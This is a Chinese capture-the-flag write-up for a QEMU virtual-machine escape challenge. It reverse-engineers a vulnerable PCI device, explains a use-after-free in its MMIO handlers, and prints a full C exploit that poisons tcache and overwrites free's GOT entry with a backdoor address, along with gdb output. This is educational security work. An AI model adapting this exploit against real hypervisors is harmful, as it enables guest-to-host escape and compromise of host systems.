前言 这道题是一道堆相关的题目,原题是在Ubuntu16的环境下面,这里为了降低难度,把重点放在qemu上,选择了Ubuntu18的环境。
题目 1 there's a vulnerable PCI device in the qemu binary. players have to write a kernel driver for the ubuntu kernel that is there and then they have to exploit the qemu to read flag off the fsystem.
官方描述,通过虚拟机逃逸读取flag。
查看文件列表
1 2 3 4 5 6 7 8 9 -rw-r--r-- 1 kangel kangel 262144 5月 11 2018 bios-256k.bin -rw-r--r-- 1 kangel kangel 240128 5月 11 2018 efi-e1000.rom -rw-r--r-- 1 kangel kangel 1800548 11月 28 16:41 initramfs-busybox-x86_64.cpioz -rw-r--r-- 1 kangel kangel 9216 5月 11 2018 kvmvapic.bin -rw-r--r-- 1 kangel kangel 1536 5月 11 2018 linuxboot_dma.bin -rwxr-xr-x 1 kangel kangel 13541528 5月 12 2018 qemu-system-x86_64 -rwxr-xr-x 1 kangel kangel 187 11月 28 16:26 run.sh -rw-r--r-- 1 kangel kangel 38912 5月 11 2018 vgabios-stdvga.bin -rw------- 1 kangel kangel 7144816 5月 11 2018 vmlinuz-4.4.0-119-generic
cat run.sh查看启动脚本,给了文件系统,ooo
应该就是有漏洞的pci设备了
1 2 3 4 5 6 7 #!/bin/sh ./qemu-system-x86_64 \ -initrd ./initramfs-busybox-x86_64.cpio.gz \ -nographic \ -kernel ./vmlinuz-4.4.0-119-generic \ -append "priority=low console=ttyS0" \ -device ooo
ida载入qemu-system-x86_64,搜索ooo
发现没有相关函数,file一下
1 2 3 4 ➜ file qemu-system-x86_64 qemu-system-x86_64: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 2.6.32, BuildID[sha1]=b6c6ab3e87201dc5d18373dee7bee760367a8ffa, stripped
可以看到qemu-system-x86_64
是stripped
,符号被去掉了。
环境安装 在Ubuntu 18 执行sudo ./run.sh
的出现以下错误,原因是缺少某些动态链接库
1 ./qemu-system-x86_64: error while loading shared libraries: libiscsi.so.2: cannot open shared object file: No such file or directory
ldd ./qemu-system-x86_64|grep not
查看缺少的动态链接库,发现缺少libiscsi.so.2
、libpng12.so.0
、 libxenctrl-4.6.so
。安装方法如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 #libiscsi git clone https://github.com/sahlberg/libiscsi.git ./autogen.sh ./configure make sudo make install cp /usr/lib/x86_64-linux-gnu/libiscsi.so.7 /lib/libiscsi.so.2 #libpng12 sudo wget -O /tmp/libpng12.deb http://mirrors.kernel.org/ubuntu/pool/main/libp/libpng/libpng12-0_1.2.54-1ubuntu1_amd64.deb sudo dpkg -i /tmp/libpng12.deb sudo rm /tmp/libpng12.deb #libxen sudo wget -O /tmp/libxen.deb http://mirrors.kernel.org/ubuntu/pool/main/x/xen/libxen-4.6_4.6.5-0ubuntu1.4_amd64.deb sudo dpkg -i /tmp/libxen.deb sudo rm /tmp/libxen.deb
然后就可以正常运行sudo ./run.sh
静态分析 确定设备 在ida中搜索ooo_class_init
来找到ooo_class_init
函数
1 2 3 4 5 6 7 8 9 10 11 12 13 __int64 __fastcall ooo_class_init (__int64 a1) { __int64 result; result = sub_868F66(a1, "pci-device" , "hw/misc/oooverflow.c" , 336L L, "ooo_class_init" ); *(_QWORD *)(result + 192 ) = pci_ooo_realize; *(_QWORD *)(result + 200 ) = 0L L; *(_WORD *)(result + 224 ) = 0x420 ; *(_WORD *)(result + 226 ) = 0x1337 ; *(_BYTE *)(result + 228 ) = 0x69 ; *(_WORD *)(result + 230 ) = 0xFF ; return result; }
通过lspci
可以确定00:04.0
为ooo
设备
1 2 3 4 5 6 7 8 / # lspci 00:00.0 Class 0600: 8086:1237 00:01.0 Class 0601: 8086:7000 00:01.1 Class 0101: 8086:7010 00:01.3 Class 0680: 8086:7113 00:02.0 Class 0300: 1234:1111 00:03.0 Class 0200: 8086:100e 00:04.0 Class 00ff: 0420:1337
查看resource文件可以发现mmio的大小为0x1000000,没有pmio
1 2 / # cat /sys/devices/pci0000\:00/0000\:00\:04.0/resource 0x00000000fb000000 0x00000000fbffffff 0x0000000000040200
在ooo_class_init
函数里面可以确定0x6E64A5
函数为pci_ooo_realize
,继续往上找可以确定0x6E613C
为ooo_mmio_read
函数以及0x6E61F4
为ooo_mmio_write
函数。
查看ooo_mmio_read
函数 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 __int64 __fastcall ooo_mmio_read (__int64 a1, int addr, unsigned int size) { unsigned int v4; __int64 dest; __int64 v6; unsigned __int64 v7; v7 = __readfsqword(0x28 u); v6 = a1; dest = 0x42069 LL; v4 = (addr & 0xF0000 u) >> 16 ; if ( (addr & 0xF00000 u) >> 20 != 15 && qword_1317940[v4] ) memcpy (&dest, (char *)qword_1317940[v4] + (signed __int16)addr, size); return dest; }
可以看到(addr & 0xF0000u)
为idx,addr
的低16位为offset
。当(addr & 0xF00000u) >> 20
不为15时,将qword_1317940[idx] + offset
中的数据拷贝出来赋值给dest
,否则dest
为0x42069
,返回dest
。
查看ooo_mmio_write
函数 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 void __fastcall ooo_mmio_write (__int64 a1, __int64 addr, __int64 var, unsigned int size) { unsigned int v4; char n[12 ]; __int64 v6; __int64 v7; __int16 v8; int i; unsigned int v10; unsigned int v11; unsigned int v12; __int64 v13; v7 = a1; v6 = addr; *(_QWORD *)&n[4 ] = var; v13 = a1; v10 = ((unsigned int )addr & 0xF00000 ) >> 20 ; v4 = ((unsigned int )addr & 0xF00000 ) >> 20 ; switch ( v4 ) { case 1u : free (qword_1317940[((unsigned int )v6 & 0xF0000 ) >> 16 ]); break ; case 2u : v12 = ((unsigned int )v6 & 0xF0000 ) >> 16 ; v8 = v6; memcpy ((char *)qword_1317940[v12] + (signed __int16)v6, &n[4 ], size); break ; case 0u : v11 = ((unsigned int )v6 & 0xF0000 ) >> 16 ; if ( v11 == 15 ) { for ( i = 0 ; i <= 14 ; ++i ) qword_1317940[i] = malloc (8L L * *(_QWORD *)&n[4 ]); } else { qword_1317940[v11] = malloc (8L L * *(_QWORD *)&n[4 ]); } break ; } }
将((unsigned int)addr & 0xF00000) >> 20
作为cmd
,((unsigned int)v6 & 0xF0000) >> 16
作为idx
当:
cmd = 1
: free掉qword_1317940[idx]
,但是并没有清零
cmd = 2
: 将val写入到qword_1317940[idx] + offset
中
cmd = 0
: malloc一个size为val的堆块
攻击思路 很明显的一个堆题的菜单,并且存在uaf漏洞。我们还可以发现sub_6E65F9
为后门可以cat ./flag
,攻击思路如下:、
申请堆块
释放一个堆块
将释放的堆块edit为free_got=0x11301A0
两次malloc
将backboor写进第二次malloc空间,即可将free函数地址覆盖为后门函数
free堆块,出发漏洞,get flag
动态分析 为了方便,我们创建一个gdb脚本debug.txt
1 2 3 4 5 6 7 b *0x6E613C b *0x6E61F4 run -initrd ./initramfs-busybox-x86_64.cpio.gz \ -nographic \ -kernel ./vmlinuz-4.4.0-119-generic \ -append "priority=low console=ttyS0" \ -device ooo\
gdb调试qemu,执行source debug.txt
,然后执行./exp
。exp内容如下:
malloc大小为10的堆块,查看buffer内存
1 2 3 4 5 6 Breakpoint *0x6E61F4 pwndbg> x/20gx 0x1317940 0x1317940: 0x00007fffd01053a0 0x0000000000000000 #malloc 0x1317950: 0x0000000000000000 0x0000000000000000 0x1317960: 0x0000000000000000 0x0000000000000000 0x1317970: 0x0000000000000000 0x0000000000000000
free掉该堆块,查看tcache
1 2 3 pwndbg> bins tcachebins 32 [ 4]: 0x7fffd01053a0 —▸ 0x7fffd00fd1e0 —▸ 0x7fffd00fd120 —▸ 0x7fffd00fc8e0 ◂— 0x0
由于存在uaf,可以edit刚才free掉的堆块内容为free函数的got
1 2 3 pwndbg> bins tcachebins 32 [ 4]: 0x7fffd01053a0 —▸ 0x11301a0 (free@got.plt) —▸ 0x7ffff31cb950 (free) ◂— push r15
进行两次malloc,查看buffer内存
1 2 3 4 Breakpoint *0x6E61F4 pwndbg> x/20gx 0x1317940 0x1317940: 0x00007fffd01053a0 0x00000000011301a0 0x1317950: 0x0000000000000000 0x0000000000000000
edit第二个堆块的内容,即修改free函数got表的内容,改为后门地址
1 2 pwndbg> x/gx 0x11301a0 0x11301a0 <free@got.plt>: 0x00000000006e65f9
free操作,获取flag
1 2 3 4 5 6 / # ./exp mmio_mem @ 0x7fa479af3000 step1 malloc a chunk step2 free the chunk to tcache step3 edit the freed chunk flag{you_can_escape_from_it}
完整exp如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 #include <assert.h> #include <fcntl.h> #include <inttypes.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/mman.h> #include <sys/types.h> #include <unistd.h> #include <sys/io.h> unsigned char * mmio_mem;void die (const char * msg) { perror(msg); exit (-1 ); } void mmio_write (uint64_t addr, uint64_t value) { *((uint32_t *)(mmio_mem + addr)) = value; } uint64_t mmio_read(uint32_t addr){ return *((uint32_t *)(mmio_mem + addr)); } void mmio_malloc (uint8_t idx, uint32_t size) { size = size/8 ; uint32_t addr=(idx<<16 )|(0 <<20 ); uint32_t value=size; mmio_write(addr,value); } void mmio_free (uint8_t idx) { uint32_t addr=(idx<<16 )|0x100000 ; uint32_t value=0 ; mmio_write(addr, value); } void mmio_edit (uint8_t idx, uint16_t offset, uint32_t data) { uint32_t addr=(idx<<16 )|(0x200000 )|(offset); uint32_t value = data; mmio_write(addr, value); } int main (int argc, char *argv[]) { uint32_t backdoor_addr = 0x6E65F9 ; int i; int mmio_fd = open("/sys/devices/pci0000:00/0000:00:04.0/resource0" , O_RDWR | O_SYNC); if (mmio_fd == -1 ) die("mmio_fd open failed" ); mmio_mem = mmap(0 , 0x1000000 , PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0 ); if (mmio_mem == MAP_FAILED) die("mmap mmio_mem failed" ); printf ("mmio_mem @ %p\n" , mmio_mem); printf ("step1 malloc a chunk\n" ); mmio_malloc(0 ,0x10 ); printf ("step2 free the chunk to tcache\n" ); mmio_free(0 ); printf ("step3 edit the freed chunk\n" ); uint32_t free_got=0x11301A0 ; mmio_edit(0 ,0 ,free_got); mmio_edit(0 ,4 ,0 ); mmio_malloc(1 ,0x10 ); mmio_malloc(1 ,0x10 ); mmio_edit(1 ,0 ,backdoor_addr); mmio_edit(1 ,4 ,0 ); mmio_free(0 ); }
编译脚本
1 gcc -static -O0 exp.c -o exp
最后一个问题,如何将exp传进去。可以看到给了文件系统cpio.gz,于是可以先解包,把exp放进去然后重新打包,具体步骤如下:
1 2 3 4 5 6 7 8 9 10 mkdir core cd core mv ../initramfs-busybox-x86_64.cpio.gz ./ gunzip initramfs-busybox-x86_64.cpio.gz cpio -idm < initramfs-busybox-x86_64.cpio cp ../exp ./ find . | cpio -o --format=newc > ../initramfs-busybox-x86_64.cpio cd .. gzip initramfs-busybox-x86_64.cpio
总结 这是一道与对相关的qemu escape,首先必须熟悉uaf漏洞,以及tcache机制。原题是在Ubuntu 16的环境中,需要利用fastbin attack。总体来说这道题难点有两个:一是符号表去掉了需要逆向恢复,第二点。。。没有第二点了,人家都给了后门,逆向出来基本就差不多了。
Reference https://uaf.io/exploitation/2018/05/13/DefconQuals-2018-EC3.html
https://xz.aliyun.com/t/6778